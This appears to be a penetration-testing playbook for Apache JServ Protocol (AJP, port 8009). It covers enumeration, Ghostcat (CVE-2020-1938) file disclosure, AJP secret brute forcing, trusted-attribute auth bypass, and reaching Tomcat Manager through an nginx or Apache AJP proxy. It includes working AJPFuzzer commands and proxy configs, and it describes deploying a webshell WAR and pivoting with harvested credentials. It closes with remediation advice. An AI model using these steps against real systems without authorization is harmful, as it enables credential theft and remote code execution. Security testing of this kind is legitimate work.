name: pentesting-ajp description: Testing Apache JServ Protocol (AJP13) connectors (default 8009/TCP) for the Ghostcat LFI/RCE vulnerability (CVE-2020-1938), trusted-request-attribute abuse, AJP secret brute forcing, and reaching the Tomcat Manager via an nginx/Apache AJP proxy during authorized engagements. domain: cybersecurity subdomain: network-services-pentesting tags:
- penetration-testing
- network-services
- ajp version: '1.0' author: xalgorix license: Apache-2.0
Pentesting Apache JServ Protocol AJP (port 8009)
When to Use
- Default port
8009/tcp(ajp13). AJP is a binary, packet-oriented, optimized HTTP used by a front-end (Apache/nginx) to talk to a Tomcat/servlet backend. - When
nmapshows8009/tcp open ajp13, or you see a Tomcat behind a reverse proxy. - AJP is more interesting than plain HTTP because the backend trusts the proxy to set internal request metadata (authenticated user, TLS info, arbitrary request attributes).
Quick Enumeration
# Nmap AJP scripts (auth, headers, methods, request)
nmap -sV --script ajp-auth,ajp-headers,ajp-methods,ajp-request -n -p 8009 <IP>
# Ask AJP directly for an interesting path and save the body
nmap -p 8009 --script ajp-request \
--script-args 'path=/manager/html,method=GET,filename=ajp-manager.out' <IP>
# Allowed methods/headers on a custom path
nmap -p 8009 --script ajp-headers,ajp-methods \
--script-args 'ajp-headers.path=/,ajp-methods.path=/manager/html' <IP>
Critical: Checks Most Often Missed
- Ghostcat (CVE-2020-1938) — an LFI in AJP that reads files under the web root such as
WEB-INF/web.xml(often containing credentials); if the app allows file upload, it escalates to RCE. Patched in Tomcat 9.0.31, 8.5.51, 7.0.100. Any 8009 reachable from an untrusted network is a high-value target. - Trusted request attributes — AJP can carry
REMOTE_USER/remote_user, client cert attributes (javax.servlet.request.X509Certificate), andAJP_*proxy metadata. Apps that make security decisions on proxy-supplied data can be bypassed. Modern Tomcat returns 403 for unknown attributes unless they matchallowedRequestAttributesPattern— a permissive regex is worth investigating. - AJP secret brute forcing — post-Ghostcat Tomcat requires an AJP
secretby default; brute-force/fuzz it with AJPFuzzer. - HTTP->AJP request smuggling/desync — front-end (httpd
mod_proxy_ajp) and backend may disagree on request boundaries, smuggling a trusted AJP request.
How to CONFIRM
- Ghostcat: a crafted
ForwardRequestreturns the contents of/WEB-INF/web.xml(XML body) instead of a 403/404. Use the exploit-db PoC (48143) or AJPFuzzer. - Trusted-attribute abuse: setting
REMOTE_USERvia AJP changes the app's authorization decision (e.g. reaching an auth-gated page). - Proxy reach: after standing up an AJP proxy, browsing
http://127.0.0.1/manager/htmlreturns the Tomcat Manager.
Workflow
Step 1: Enumerate
Confirm ajp13 on 8009 and run the AJP NSE scripts. Note Tomcat version (for Ghostcat patch level) and whether a secret/allowedRequestAttributesPattern is enforced.
Step 2: Authenticate / unauth access
Reproduce Ghostcat-style file disclosure with AJPFuzzer's forwardrequest, abusing the include attributes:
java -jar ajpfuzzer_v0.7.jar
connect <IP> 8009
forwardrequest 2 "HTTP/1.1" "/" 127.0.0.1 <TARGET_IP> <TARGET_IP> 8009 false \
"Cookie:test=value" \
"javax.servlet.include.path_info:/WEB-INF/web.xml,javax.servlet.include.servlet_path:/"
If a secret is required, fuzz it:
java -jar ajpfuzzer_v0.7.jar
connect <IP> 8009
genericfuzz 2 "HTTP/1.1" "/" "127.0.0.1" "127.0.0.1" "127.0.0.1" 8009 false \
"Cookie:AAAA=BBBB" \
"secret:FUZZ" /tmp/ajp_secret_candidates.txt
Step 3: Exploit / Extract
- Read
WEB-INF/web.xmland other web-root files via Ghostcat; harvest Manager/DB credentials. - Reach the Tomcat Manager through an AJP proxy and continue with Tomcat WAR-deploy RCE.
nginx with the third-party ajp_module:
upstream tomcats { server <TARGET_SERVER>:8009; keepalive 10; }
server {
listen 80;
location / { ajp_keep_conn on; ajp_pass tomcats; }
}
Apache mod_proxy_ajp:
a2enmod proxy proxy_ajp
ProxyPass / ajp://<TARGET_SERVER>:8009/
ProxyPassReverse / ajp://<TARGET_SERVER>:8009/
# If the backend requires a secret (modern Tomcat):
# ProxyPass / ajp://<TARGET_SERVER>:8009/ secret=<AJP_SECRET>
Then browse http://127.0.0.1/ — if /manager/html or /host-manager is reachable, deploy a malicious WAR.
Step 4: Post-access / pivot
With Manager access, deploy a JSP webshell WAR for RCE on the Tomcat host. Use recovered credentials (from web.xml/datasource configs) to pivot to backend databases and internal services.
Key Concepts
| Concept | Description |
|---|---|
| AJP13 | Binary, packet-oriented protocol; Apache/nginx -> Tomcat with persistent TCP connections |
| Ghostcat (CVE-2020-1938) | AJP LFI reading web-root files (WEB-INF/web.xml), RCE if upload exists |
| ForwardRequest | AJP packet that carries the proxied request + trusted attributes |
| Request attributes | REMOTE_USER, X509 cert, AJP_* metadata the backend trusts from the proxy |
| secret / secretRequired | Modern Tomcat AJP shared-secret requirement |
| allowedRequestAttributesPattern | Regex gating which forwarded attributes are accepted (403 otherwise) |
Tools & Systems
| Tool | Purpose |
|---|---|
| nmap ajp- NSE* | ajp-auth, ajp-headers, ajp-methods, ajp-request |
| AJPFuzzer (Doyensec) | Craft ForwardRequest packets, Ghostcat primitives, brute secrets, fuzz attributes |
| Ghostcat PoC (exploit-db 48143) | CVE-2020-1938 file disclosure exploit |
| nginx_ajp_module | Proxy 8009 to reach Tomcat Manager |
| Apache mod_proxy_ajp | Alternative AJP proxy pivot (supports secret=) |
| Metasploit / Tomcat WAR deploy | RCE once Manager is reachable |
Common Scenarios
Scenario 1: Ghostcat credential disclosure
A pre-9.0.31 Tomcat exposes 8009; a crafted ForwardRequest returns WEB-INF/web.xml containing Manager credentials.
Scenario 2: Manager via AJP proxy
8009 is reachable but 8080 is filtered; an nginx ajp_pass proxy reaches /manager/html, and a WAR upload gives RCE.
Scenario 3: Trusted-attribute auth bypass
The app trusts REMOTE_USER from the proxy; setting it over AJP reaches an admin endpoint without authenticating.
Output Format
## AJP Finding
**Service**: Apache JServ Protocol AJP13 (8009/tcp)
**Severity**: <Critical|High>
**Target**: <IP>:8009 Tomcat: <version>
### Evidence
- Ghostcat (CVE-2020-1938): retrieved WEB-INF/web.xml (creds: <yes/no>)
- AJP secret: <not required | brute-forced value>
- Manager reached via AJP proxy -> WAR deploy RCE
- Trusted-attribute abuse: REMOTE_USER override accepted
### Reproduction
ajpfuzzer> forwardrequest ... "javax.servlet.include.path_info:/WEB-INF/web.xml,..."
ProxyPass / ajp://<IP>:8009/ # then browse /manager/html
### Recommendation
1. Patch Tomcat to >= 9.0.31 / 8.5.51 / 7.0.100 (Ghostcat)
2. Disable the AJP connector if unused; bind it to loopback
3. Require an AJP secret (secretRequired=true) and a strict allowedRequestAttributesPattern
4. Never expose 8009 to untrusted networks; firewall to the proxy host only